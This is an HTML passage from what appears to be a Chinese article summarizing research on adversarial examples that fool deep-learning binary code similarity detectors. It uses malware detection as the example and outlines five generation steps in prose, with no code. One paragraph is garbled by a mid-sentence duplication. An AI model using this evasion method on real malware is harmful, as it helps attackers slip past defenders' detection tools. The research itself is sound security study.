0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">其中</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUUpIY8I5xN9Yramfe5qmZB5vbhCbDia7o86Q0tNPiaIWCxScFFqDUBicug/0?wx_fmt=png" data-cropx1="0" data-cropx2="412" data-cropy1="5.282051282051282" data-cropy2="105.64102564102564" data-galleryid="" data-ratio="0.24514563106796117" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 78px;height: 19px;" data-type="jpeg" data-w="412" src="https://wechat2rss.xlab.app/img-proxy/?k=33e348f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUlKPQexaegGplkqBO3ypgdSg1VJJIc1apcOjFDvRSY6LIVRsZwicN2Ww%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">表示两个函数之间的相似度，有效的对抗样例与目标函数之间的相似度高于原函数与目标函数之间的相似度。</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUJLsTjejraJ74nhPibAQI3gruaiaNgHiaSibkhK3PHzByV4T4FeicWvBsF1w/0?wx_fmt=png" data-cropx1="0" data-cropx2="597" data-cropy1="0" data-cropy2="138.6969696969697" data-galleryid="" data-ratio="0.23283082077051925" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 99px;height: 23px;" data-type="jpeg" data-w="597" src="https://wechat2rss.xlab.app/img-proxy/?k=927f0d43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUbZAvVGmvYr9V08ZTy1S2VMbLrz2ATKtr0DJiczOUg5NptClfZ3GeUQw%2F640%3Fwx_fmt%3Djpeg"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">和</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.17956204379562044" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 127px;height: 23px;" data-type="png" data-w="685" src="https://wechat2rss.xlab.app/img-proxy/?k=3c3fe83c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUmkxcDm7s6wnAaaLfGdWxNS0jia9mpguyPaMZIJcKsFBqhdHwHlyAeZQ%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">代表</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="2.0434782608695654" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 11px;height: 22px;" data-type="png" data-w="46" src="https://wechat2rss.xlab.app/img-proxy/?k=3b6a155e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUqSmhbdgGsS10eCKVM6RRDficLLd20mLibYv5VictTpqxW8asI9IxQpU3A%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">和</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7808219178082192" data-s="300,640" style="letter-spacing: 0.544px;font-size: 15px;text-indent: 0em;height: 22px;text-align: center;width: 28px;" data-type="png" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=82184cdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnULG7uO8vbapUwvZhicVdBG6LuwJyQEww4gu9ianIUyzzcof5gLjkiaY9jw%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">的实现功能，两者应该是等价的。</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2239057239057239" data-s="300,640" style="letter-spacing: 0.544px;text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 101px;height: 23px;" data-type="png" data-w="594" src="https://wechat2rss.xlab.app/img-proxy/?k=4ff95902&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUSTS1t5aocC8lNGdkOjCBIQ1iaW7StYgbX1zdD2G5ZXOnem0MTPrXG1Q%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">返回知识库中与对抗性样例</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7808219178082192" data-s="300,640" style="letter-spacing: 0.544px;font-size: 15px;text-indent: 0em;height: 22px;text-align: center;width: 28px;" data-type="png" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=82184cdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnULG7uO8vbapUwvZhicVdBG6LuwJyQEww4gu9ianIUyzzcof5gLjkiaY9jw%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">相似度最高的</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.41509433962264153" data-s="300,640" style="letter-spacing: 0.544px;text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 52px;height: 22px;" data-type="png" data-w="265" src="https://wechat2rss.xlab.app/img-proxy/?k=0ca09c83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUzhv3dWjtfibI36wjTANFaBCWGwszanwCnAgonoZ5U3yUD2niaVicrA3Ag%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">的函数。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">作者以恶意软件检测领域为例，介绍了<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 21px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 83px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>对基于深度学习的BCSD的作用，如下图所示，<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>的输入是一个恶意软件函数，输出是一个对抗样例。将恶意软件函数和对抗样例分别传递给基于深度学习的BCSD模型，该模型将分别生成特征向量<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6582278481012658" data-s="300,640" style="height: 21px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 32px;" data-type="png" data-w="79" src="https://wechat2rss.xlab.app/img-proxy/?k=28fd4571&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUs6rECXBqtJYgvER85gULV4HHTCLsxlocicY2W2zHgicmabdBvMj2E20w%2F640%3Fwx_fmt%3Dpng"/>和<img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUtlqyabC8micFPRyk83SkuB0sEvHEKibFAcbMvCZiaDWaPoNVhicaneOsgw/0?wx_fmt=png" data-cropx1="0" data-cropx2="76" data-cropy1="0" data-cropy2="62.42857142857143" data-galleryid="" data-ratio="0.8157894736842105" data-s="300,640" style="height: 23px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 28px;" data-type="jpeg" data-w="76" src="https://wechat2rss.xlab.app/img-proxy/?k=1cfb4efd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU484AETKBz31XrdmcicfpiazAkSKBxjFGTwBs5stsR9aA6mAWicSGPaJVw%2F640%3Fwx_fmt%3Djpeg"/><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);">，</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;font-size: 15px;text-align: left;">y，</span>计算与知识库中所有函数的相似度得分，并按得分降序排序。从相似度得分可以看出，恶意软件函数与知识库中具有相同恶意行为的其他恶意函数(用橙色表示)具有较高的相似度，与良性程序(用蓝色表示)的相似度较低。而对抗样例与知识库中的良性程序具有较高的相似性，与恶意函数具有作者以恶意软件检测领域为例，介绍了<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>对基于深度学习的BCSD的作用，如下图所示，<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>的输入是一个恶意软件函数，输出是一个对抗样例。将恶意软件函数和对抗样例分别传递给基于深度学习的BCSD模型，该模型将分别生成特征向量</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6582278481012658" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 32px;height: 21px;" data-type="png" data-w="79" src="https://wechat2rss.xlab.app/img-proxy/?k=28fd4571&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUs6rECXBqtJYgvER85gULV4HHTCLsxlocicY2W2zHgicmabdBvMj2E20w%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">和</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUtlqyabC8micFPRyk83SkuB0sEvHEKibFAcbMvCZiaDWaPoNVhicaneOsgw/0?wx_fmt=png" data-cropx1="0" data-cropx2="76" data-cropy1="0" data-cropy2="62.42857142857143" data-galleryid="" data-ratio="0.8157894736842105" data-s="300,640" style="letter-spacing: 0.544px;text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 28px;height: 23px;" data-type="jpeg" data-w="76" src="https://wechat2rss.xlab.app/img-proxy/?k=1cfb4efd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU484AETKBz31XrdmcicfpiazAkSKBxjFGTwBs5stsR9aA6mAWicSGPaJVw%2F640%3Fwx_fmt%3Djpeg"/>，<span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">y，计算与知识库中所有函数的相似度得分，并按得分降序排序。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">从相似度得分可以看出，恶意软件函数与知识库中具有相同恶意行为的其他恶意函数(用橙色表示)具有较高的相似度，与良性程序(用蓝色表示)的相似度较低。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">而对抗样例与知识库中的良性程序具有较高的相似性，与恶意函数具有较低的相似性。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">较低的相似性。</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.41156462585034" data-s="300,640" style="" data-type="png" data-w="588" src="https://wechat2rss.xlab.app/img-proxy/?k=9d12989e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUianMLyNqQuh8EtgpPiccG0lkJH1O89HFpricJUezcm4U63zP31yg8HYpg%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;text-align: center;margin-top: 0px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">图2</span><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></strong></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">对抗样例的生成</span></strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">如图2所示，对抗样例的生成步骤如下：</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">1.使用</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2764505119453925" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 77px;height: 21px;" data-type="png" data-w="293" src="https://wechat2rss.xlab.app/img-proxy/?k=94c44d63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUVQia0c9a3uISlbVC7fQ864vMSnibPGckNMkQ9XnGtBMAU6XsndrbcKyg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">将源代码编译成二进制可执行程序。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">2.<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>将二进制可执行文件进行反汇编，得到二进制可执行文件的函数片段。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">3.<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>通过向指定位置插入指令对函数进行对抗转换，得到对抗指令。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">4.<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>将对抗指令写入源代码。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">5.使用<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2764505119453925" data-s="300,640" style="height: 21px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 77px;" data-type="png" data-w="293" src="https://wechat2rss.xlab.app/img-proxy/?k=94c44d63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUVQia0c9a3uISlbVC7fQ864vMSnibPGckNMkQ9XnGtBMAU6XsndrbcKyg%2F640%3Fwx_fmt%3Dpng"/>编译对抗源代码，得到对抗二进制可执行文件。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验结果</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">评估指标</span></strong></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">论文对基于深度学习的BCSD的SOTA方案执行</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.216" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 91px;height: 20px;" data-type="png" data-w="375" src="https://wechat2rss.xlab.app/img-proxy/?k=72185ffc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUOGGLJazpA6mczFFiaricGcp8fQbWeYqAiaKJYZia3T3F8HY5Cs9deLicsyQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">攻击。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">算法性能用</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.13843888070692195" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, 